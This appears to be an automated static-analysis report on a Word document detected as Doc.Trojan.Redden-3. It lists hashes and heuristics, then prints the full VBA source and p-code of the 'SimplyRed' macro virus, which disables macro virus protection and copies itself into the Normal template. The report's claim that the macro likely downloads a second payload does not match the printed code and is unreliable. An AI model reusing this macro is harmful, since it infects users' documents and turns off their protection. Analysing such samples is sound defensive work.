Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3090e2b443c3d60d…

MALICIOUS

Office (OLE)

33.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 96f6c31cbb5c8f6acd5abcd2a2865334 SHA-1: c731a69bcaa80bdf9126e88faf0e745c556c8980 SHA-256: 3090e2b443c3d60d5e13a7f6401c307fb7a85c962000b5f8049baeb69171d38f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro code attempts to copy itself to the NormalTemplate and create a new module named 'SimplyRed', suggesting an attempt at persistence or evasion. The presence of the 'Doc.Trojan.Redden-3' ClamAV detection further supports its malicious nature. The macro's obfuscated comments and error handling indicate a deliberate attempt to conceal its functionality, likely to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Redden-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Redden-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5849 bytes
SHA-256: b8ce39da76b007e5d2439e0131ed82e9dbd6343688cbd81896a0ece4520d7a1d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Private Sub Document_Open()

'AVP ------- *SUX* Go fU(k yourself Kaspersky!
'SimplyRed is tRuNcEd but it's ALIVE
'|mm0R†aL VIRii
'SimplyRed by N|(0†|N 2000

On Error GoTo Phuck
If Int(Rnd * 50) = 9 Then
    ActiveDocument.Background.Fill.ForeColor.RGB = RGB(255, 0, 0)
    ActiveDocument.Background.Fill.Visible = msoTrue
    ActiveDocument.Background.Fill.Solid
    ActiveWindow.View.Type = wdOnlineView
End If
Options.VirusProtection = False
Options.SaveNormalPrompt = False
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set stlth = ActiveDocument.VBProject
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
Set stlth = NormalTemplate.VBProject
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
cnt = stlth.VBComponents.Count
If cnt <> 0 Then
For i = 1 To cnt
aprj = stlth.VBComponents(i).Name
If aprj = "SimplyRed" Then already = True
Next i
Else
already = False
End If
If Not already Then
stlth.VBComponents.Add (vbext_ct_StdModule)
stlth.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "SimplyRed"
End If
Phuck:
End Sub

' Processing file: /opt/analyzer/scan_staging/4557dba8d73a4a1ba1ea7c24dd2167b0.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3345 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Private Sub Document_Open())
' Line #3:
' Line #4:
' 	QuoteRem 0x0000 0x002D "AVP ------- *SUX* Go fU(k yourself Kaspersky!"
' Line #5:
' 	QuoteRem 0x0000 0x0023 "SimplyRed is tRuNcEd but it's ALIVE"
' Line #6:
' 	QuoteRem 0x0000 0x000E "|mm0R†aL VIRii"
' Line #7:
' 	QuoteRem 0x0000 0x0019 "SimplyRed by N|(0†|N 2000"
' Line #8:
' Line #9:
' 	OnError Phuck 
' Line #10:
' 	Ld Rnd 
' 	LitDI2 0x0032 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0009 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitDI2 0x00FF 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	ArgsLd RSet 0x0003 
' 	Ld ActiveDocument 
' 	MemLd Background 
' 	MemLd Fill 
' 	MemLd ForeColor 
' 	MemSt RSet 
' Line #12:
' 	Ld msoTrue 
' 	Ld ActiveDocument 
' 	MemLd Background 
' 	MemLd Fill 
' 	MemSt Visible 
' Line #13:
' 	Ld ActiveDocument 
' 	MemLd Background 
' 	MemLd Fill 
' 	ArgsMemCall Solid 0x0000 
' Line #14:
' 	Ld wdOnlineView 
' 	Ld ActiveWindow 
' 	MemLd View 
' 	MemSt TypeOf 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #17:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #18:
' 	Ld ThisDocument 
' 	MemLd FullName 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	SetStmt 
' 	LitStr 0x000C "ThisDocument"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set dest 
' Line #20:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	Set stlth 
' Line #21:
' 	SetStmt 
' 	LitStr 0x000C "ThisDocument"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set sour 
' Line #22:
' 	ElseBlock 
' Line #23:
' 	SetStmt 
' 	LitStr 0x000C "ThisDocument"
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set sour 
' Line #24:
' 	SetStmt 
' 	LitStr 0x000C "ThisDocument"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set dest 
' Line #25:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	Set stlth 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	Ld dest 
' 	MemLd CodeModule 
' 	MemLd countoflines 
'
... (truncated)